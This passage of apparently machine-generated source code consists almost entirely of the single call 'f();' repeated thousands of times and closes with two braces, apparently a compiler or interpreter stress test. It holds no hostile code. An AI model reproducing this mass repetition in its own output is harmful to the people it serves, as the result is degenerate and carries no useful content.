();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();
    }
}
